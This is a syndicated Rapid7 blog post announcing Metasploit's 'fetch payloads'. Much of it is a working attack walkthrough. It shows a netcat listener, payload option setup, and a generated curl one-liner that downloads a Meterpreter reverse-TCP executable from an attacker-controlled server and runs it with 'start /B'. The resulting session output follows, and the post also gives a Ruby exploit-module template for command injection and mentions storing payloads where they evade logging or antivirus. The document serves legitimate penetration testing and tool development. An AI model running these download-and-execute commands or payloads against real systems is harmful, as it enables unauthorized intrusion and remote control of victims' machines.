Fetch Payloads: A Shorter Path from Command Injection to Metasploit Session

Post Syndicated from Brendan Watters original https://blog.rapid7.com/2023/05/25/fetch-payloads-a-shorter-path-from-command-injection-to-metasploit-session/

Fetch Payloads: A Shorter Path from Command Injection to Metasploit Session

Over the last year, two-thirds of the exploit modules added to Metasploit Framework have targeted command injection vulnerabilities (CWE-94: Improper Control of Generation of Code). In the process of helping new and existing open-source contributors learn how to use Metasploit’s command stager toolset, we’ve recognized that while they’re powerful, command stagers have a high learning curve.

So, we added a new type of payload to help contributors move as quickly as possible from vulnerability to module and users to have more control over the commands executed. We’re pleased to announce the availability of fetch payloads, which simplify and replace some of the command stager use cases, providing for faster, more intuitive command injection module development and offering a useful new on-the-fly hacking tool.

Fetch payloads are command-based payloads that leverage network-enabled commands (cURL, certutil, ftp, tftp, wget ) on remote targets to transfer and execute binary payloads quickly and easily. Previously, some of the functionality of fetch payloads could be accomplished within an exploit module by using command stagers, but fetch payloads give greater flexibility for staging payloads with network-based commands and allow command staging of payloads independently from Metasploit modules.

Command stagers are still the correct choice for staging payloads through commands that do not use networking, like echo or printf, but otherwise, we encourage you to check out fetch payloads when you write your next command injection module—or the next time you need to upload and execute a payload when you already have a shell on a target. You may have performed this manually in the past using Python’s built-in HTTP server, msfvenom, and Metasploit Framework. Now we do it all for you.

Fetch payloads have two core use cases: gaining a Metasploit session from a shell and embedded in command injection exploit modules. We explore both in more detail below.

Using Fetch Payloads Manually From A Shell

In this use case, we will upgrade a shell on a host (any shell, not just a Metasploit Framework shell) to a Metasploit session.

The shell session:

tmoose@ubuntu:~/rapid7/metasploit-framework$ nc -lv 10.5.135.201 4585
Listening on ubuntu 4585
Connection received on 10.5.134.167 64613
Microsoft Windows [Version 10.0.17134.1]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Users\msfuser\Downloads>

Now, hop over to a Metasploit Framework instance reachable by that host and set up a fetch payload. You’ll need to decide five things:

The protocol you want to use (HTTP, HTTPS, and TFTP are currently supported)
The binary Metasploit payload you want to deliver
The command you want to use on the remote host to download the payload
The IP:PORT you want to use to serve the binary payload
The IP:PORT you want the binary payload to use

The first two items above determine the fetch payload we want to use: we are using cmd/windows/http/x64/meterpreter/reverse_tcp which will host a windows/x64/meterpreter/reverse_tcp binary payload on an HTTP server. We’re almost halfway done just by selecting the payload!

You can visualize the fetch payload names like this:

Command payload Platform Networking Protocol Underlying payload
cmd/ windows/ http/ x64/meterpreter/reverse_tcp

The other three values are set as options within the payload. We will use the default ports and leave the default command as the cURL command, so we just need to set LHOST for the payload to call back and FETCH_SRVHOST to tell the command where to call back and Framework where to host the payload:

msf6 payload(cmd/windows/http/x64/meterpreter/reverse_tcp) > show options

Module options (payload/cmd/windows/http/x64/meterpreter/reverse_tcp):

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   EXITFUNC            process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   FETCH_COMMAND       CURL             yes       Command to fetch payload (Accepted: CURL, TFTP, CERTUTIL)
   FETCH_DELETE        false            yes       Attempt to delete the binary after execution
   FETCH_FILENAME      NdqujpmEtq       no        Name to use on remote system when storing payload; cannot contain spaces.
   FETCH_SRVHOST       0.0.0.0          yes       Local IP to use for serving payload
   FETCH_SRVPORT       8080             yes       Local port to use for serving payload
   FETCH_URIPATH                        no        Local URI to use for serving payload
   FETCH_WRITABLE_DIR  %TEMP%           yes       Remote writable dir to store payload; cannot contain spaces.
   LHOST                                yes       The listen address (an interface may be specified)
   LPORT               4444             yes       The listen port

View the full module info with the info, or info -d command.

msf6 payload(cmd/windows/http/x64/meterpreter/reverse_tcp) > set FETCH_SRVHOST 10.5.135.201
FETCH_SRVHOST => 10.5.135.201
msf6 payload(cmd/windows/http/x64/meterpreter/reverse_tcp) > set LHOST 10.5.135.201
LHOST => 10.5.135.201

That’s it—no more setup unless you want to customize further. You can see that there are other options: FETCH_DELETE will attempt to delete the file after it executes, and the options FETCH_WRITABLE_DIR and FETCH_FILENAME will tell the fetch payload where to store the file on the remote host (in case there is a safe directory elsewhere that evades logging or antivirus. Users can also change the FETCH_URI value where the underlying payload is served, but the value is automatically generated based on the underlying payload: If a user creates a fetch payload in msfvenom and a listener in Framework, the default FETCH_URI values will match if the underlying payload is the same. Now, just like any payload, we can call generate or use msfvenom to create the command we need to execute on the remote host:

msf6 payload(cmd/windows/http/x64/meterpreter/reverse_tcp) > generate -f raw

[*] Command to run on remote host: curl -so %TEMP%\NdqujpmEtq.exe http://10.5.135.201:8080/dOVx5JNISsHZ3V06TolS4w & start /B %TEMP%\NdqujpmEtq.exe
curl -so %TEMP%\NdqujpmEtq.exe http://10.5.135.201:8080/dOVx5JNISsHZ3V06TolS4w & start /B %TEMP%\NdqujpmEtq.exe

Also, the command appears when you start the handler:

msf6 payload(cmd/windows/http/x64/meterpreter/reverse_tcp) > to_handler

[*] Command to run on remote host: curl -so %TEMP%\KphvDFGglOzp.exe http://10.5.135.201:8080/dOVx5JNISsHZ3V06TolS4w & start /B %TEMP%\KphvDFGglOzp.exe
[*] Payload Handler Started as Job 0
[*] Fetch Handler listening on 10.5.135.201:8080
[*] HTTP server started
[*] Adding resource /dOVx5JNISsHZ3V06TolS4w
[*] Started reverse TCP handler on 10.5.135.201:4444 

msf6 payload(cmd/windows/http/x64/meterpreter/reverse_tcp) >

For fetch payloads, to_handler does several things:

  • Creates the underlying payload in an executable format based on the platform selected; since we’re using Windows, the payload is created as an exe file.
  • Starts a server based on the protocol for the specific fetch payload selected
  • Adds the executable payload to the server
  • Creates a one-liner to download and execute the payload on target

All the user needs to do is copy/paste the command and hit enter:

C:\Users\msfuser\Downloads>curl -so %TEMP%\KphvDFGglOzp.exe http://10.5.135.201:8080/dOVx5JNISsHZ3V06TolS4w & start /B %TEMP%\KphvDFGglOzp.exe

That will use cURL to download the payload and execute it:

msf6 payload(cmd/windows/http/x64/meterpreter/reverse_tcp) > 
[*] Client 10.5.134.167 requested /dOVx5JNISsHZ3V06TolS4w
[*] Sending payload to 10.5.134.167 (curl/7.55.1)
[*] Sending stage (200774 bytes) to 10.5.134.167
[*] Meterpreter session 1 opened (10.5.135.201:4444 -> 10.5.134.167:64681) at 2023-05-18 12:39:12 -0500
sessions

Active sessions
===============

  Id  Name  Type                     Information                                Connection
  --  ----  ----                     -----------                                ----------
  1         meterpreter x64/windows  DESKTOP-D1E425Q\msfuser @ DESKTOP-D1E425Q  10.5.135.201:4444 -> 10.5.134.167:64681 (10.5.134.1
                                                                                67)

msf6 payload(cmd/windows/http/x64/meterpreter/reverse_tcp) > 

Using Fetch Payloads in a Metasploit Module

Module authors probably already see the utility in command injection modules. Framework’s command stagers are very powerful, but they also present a non-trivial barrier to entry for the user. Using fetch payloads in a Metasploit module is straightforward; authors will need to set the platform as linux or win and add the arch as ARCH_CMD. Then, when it comes time to get the command that must run on the remote target, simply invoke payload.encoded. Below is a bare-bones template of a module using fetch payloads against a Linux web server with a command injection vulnerability:

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Module Name',
        'Description' => %q{ 1337 },
        'License' => MSF_LICENSE,
        'Author' => [ 'you' ],
        'References' => [],
        'Platform' => 'linux',
        'Arch' => 'ARCH_CMD',
        'DefaultOptions' => {
          'PAYLOAD' => 'cmd/linux/http/x64/meterpreter/reverse_tcp',
          'RPORT' => 80,
          'FETCH_COMMAND' => 'WGET'
        },
        'Targets' => [ [ 'Default', {} ] ],
        'DisclosureDate' => '2022-01-26',
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [ CRASH_SAFE ],
          'Reliability' => [ REPEATABLE_SESSION ],
          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ]
        }
      )
    )
    register_options(
      [
        Msf::OptString.new('TARGET_URI', [ false, 'URI', '/hackme'])
      ]
    )
  end

  def execute_command(cmd)
    # Whatever it takes to execute a cmd on target
  end

  def check
    # Put your check method here
  end

  def exploit
    execute_command(payload.encoded)
  end
end

That’s it. With fetch payloads, Metasploit Framework will set up the server, make the executable payload, start the payload handler, serve the payload, handle the callback, and provide the command that needs to be executed; all you’ve got to do is tell it how to execute a command and then write a check method.

Get it

As always, you can update to the latest Metasploit Framework with msfupdate
and you can get more details on the changes since the last blog post from
GitHub:

If you are a git user, you can clone the Metasploit Framework repo (master branch) for the latest.

To install fresh without using git, you can use the open-source-only Nightly Installers or the binary installers (which also include the commercial edition).